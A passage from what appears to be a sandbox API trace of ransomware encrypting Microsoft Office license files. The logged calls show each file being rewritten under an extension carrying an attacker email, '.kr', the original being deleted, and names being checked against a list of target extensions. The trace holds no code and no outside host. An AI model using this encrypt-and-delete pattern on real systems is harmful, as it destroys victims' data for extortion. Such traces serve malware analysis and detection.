liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0215.062] GetLastError () returned 0x0 [0215.062] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x51f7, lpOverlapped=0x0) returned 1 [0215.064] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5200, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5200, lpOverlapped=0x0) returned 1 [0215.065] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.065] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x126, lpOverlapped=0x0) returned 1 [0215.065] SetEndOfFile (hFile=0x538) returned 1 [0215.065] CloseHandle (hObject=0x538) returned 1 [0215.065] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.065] SetEndOfFile (hFile=0x474) returned 1 [0215.069] CloseHandle (hObject=0x474) returned 1 [0215.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0215.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.070] lstrlenW (lpString=".doc") returned 4 [0215.070] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.070] lstrlenW (lpString=".docx") returned 5 [0215.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.070] lstrlenW (lpString=".pdf") returned 4 [0215.071] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString=".xls") returned 4 [0215.071] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString=".xlsx") returned 5 [0215.071] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.071] lstrlenW (lpString=".ppt") returned 4 [0215.071] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.071] lstrlenW (lpString=".zip") returned 4 [0215.071] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString=".rar") returned 4 [0215.071] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString=".bz2") returned 4 [0215.071] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString=".7z") returned 3 [0215.071] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.071] lstrlenW (lpString=".dbf") returned 4 [0215.071] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.071] lstrlenW (lpString=".1cd") returned 4 [0215.071] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.071] lstrlenW (lpString=".jpg") returned 4 [0215.071] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.071] lstrlenW (lpString=".doc") returned 4 [0215.071] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString=".docx") returned 5 [0215.071] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.071] lstrlenW (lpString=".pdf") returned 4 [0215.071] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.071] lstrlenW (lpString=".xls") returned 4 [0215.072] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.072] lstrlenW (lpString=".xlsx") returned 5 [0215.072] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.072] lstrlenW (lpString=".ppt") returned 4 [0215.072] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.072] lstrlenW (lpString=".zip") returned 4 [0215.072] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.072] lstrlenW (lpString=".rar") returned 4 [0215.072] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.072] lstrlenW (lpString=".bz2") returned 4 [0215.072] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.072] lstrlenW (lpString=".7z") returned 3 [0215.072] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.072] lstrlenW (lpString=".dbf") returned 4 [0215.072] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.072] lstrlenW (lpString=".1cd") returned 4 [0215.072] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0215.072] lstrlenW (lpString=".jpg") returned 4 [0215.072] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.072] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.072] lstrlenW (lpString="ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 44 [0215.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.073] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11661) returned 1 [0215.073] CloseHandle (hObject=0x474) returned 1 [0215.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0215.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.074] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.074] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0215.075] GetLastError () returned 0x0 [0215.075] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d8d, lpOverlapped=0x0) returned 1 [0215.077] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0215.078] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.078] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x12c, lpOverlapped=0x0) returned 1 [0215.078] SetEndOfFile (hFile=0x538) returned 1 [0215.078] CloseHandle (hObject=0x538) returned 1 [0215.078] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.078] SetEndOfFile (hFile=0x474) returned 1 [0215.081] CloseHandle (hObject=0x474) returned 1 [0215.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0215.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.082] lstrlenW (lpString=".doc") returned 4 [0215.082] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.082] lstrlenW (lpString=".docx") returned 5 [0215.082] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.082] lstrlenW (lpString=".pdf") returned 4 [0215.082] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.082] lstrlenW (lpString=".xls") returned 4 [0215.083] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString=".xlsx") returned 5 [0215.083] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.083] lstrlenW (lpString=".ppt") returned 4 [0215.083] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.083] lstrlenW (lpString=".zip") returned 4 [0215.083] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString=".rar") returned 4 [0215.083] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString=".bz2") returned 4 [0215.083] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString=".7z") returned 3 [0215.083] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.083] lstrlenW (lpString=".dbf") returned 4 [0215.083] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.083] lstrlenW (lpString=".1cd") returned 4 [0215.083] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.083] lstrlenW (lpString=".jpg") returned 4 [0215.083] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.083] lstrlenW (lpString=".doc") returned 4 [0215.083] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString=".docx") returned 5 [0215.083] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.083] lstrlenW (lpString=".pdf") returned 4 [0215.083] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.083] lstrlenW (lpString=".xls") returned 4 [0215.083] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.084] lstrlenW (lpString=".xlsx") returned 5 [0215.084] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.084] lstrlenW (lpString=".ppt") returned 4 [0215.084] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.084] lstrlenW (lpString=".zip") returned 4 [0215.084] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.084] lstrlenW (lpString=".rar") returned 4 [0215.084] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.084] lstrlenW (lpString=".bz2") returned 4 [0215.084] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.084] lstrlenW (lpString=".7z") returned 3 [0215.084] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.084] lstrlenW (lpString=".dbf") returned 4 [0215.084] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.084] lstrlenW (lpString=".1cd") returned 4 [0215.084] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0215.084] lstrlenW (lpString=".jpg") returned 4 [0215.084] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.084] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.085] lstrlenW (lpString="ProjectProMSDNR_Retail-pl.xrm-ms") returned 32 [0215.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.085] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10663) returned 1 [0215.085] CloseHandle (hObject=0x474) returned 1 [0215.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms")) returned 0x220 [0215.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.086] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.086] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0215.087] GetLastError () returned 0x0 [0215.087] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x29a7, lpOverlapped=0x0) returned 1 [0215.555] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0215.556] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.556] WriteFile (in: hFile=0x538, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0215.556] SetEndOfFile (hFile=0x538) returned 1 [0215.557] CloseHandle (hObject=0x538) returned 1 [0215.557] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.557] SetEndOfFile (hFile=0x474) returned 1 [0215.559] CloseHandle (hObject=0x474) returned 1 [0215.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms")) returned 1 [0215.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.561] lstrlenW (lpString=".doc") returned 4 [0215.561] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.561] lstrlenW (lpString=".docx") returned 5 [0215.561] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.561] lstrlenW (lpString=".pdf") returned 4 [0215.561] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.561] lstrlenW (lpString=".xls") returned 4 [0215.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.561] lstrlenW (lpString=".xlsx") returned 5 [0215.561] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.561] lstrlenW (lpString=".ppt") returned 4 [0215.561] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.561] lstrlenW (lpString=".zip") returned 4 [0215.561] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.561] lstrlenW (lpString=".rar") returned 4 [0215.561] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.561] lstrlenW (lpString=".bz2") returned 4 [0215.561] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.561] lstrlenW (lpString=".7z") returned 3 [0215.561] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.562] lstrlenW (lpString=".dbf") returned 4 [0215.562] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.562] lstrlenW (lpString=".1cd") returned 4 [0215.562] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.562] lstrlenW (lpString=".jpg") returned 4 [0215.562] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.562] lstrlenW (lpString=".doc") returned 4 [0215.562] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString=".docx") returned 5 [0215.562] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.562] lstrlenW (lpString=".pdf") returned 4 [0215.562] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString=".xls") returned 4 [0215.562] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString=".xlsx") returned 5 [0215.562] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.562] lstrlenW (lpString=".ppt") returned 4 [0215.562] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.562] lstrlenW (lpString=".zip") returned 4 [0215.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString=".rar") returned 4 [0215.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString=".bz2") returned 4 [0215.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.562] lstrlenW (lpString=".7z") returned 3 [0215.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.563] lstrlenW (lpString=".dbf") returned 4 [0215.563] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.563] lstrlenW (lpString=".1cd") returned 4 [0215.563] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0215.563] lstrlenW (lpString=".jpg") returned 4 [0215.563] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.563] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.563] lstrlenW (lpString="ProjectProR_Grace-ppd.xrm-ms") returned 28 [0215.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0215.564] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20847) returned 1 [0215.564] CloseHandle (hObject=0x474) returned 1 [0215.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_grace-ppd.xrm-ms")) returned 0x220 [0215.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 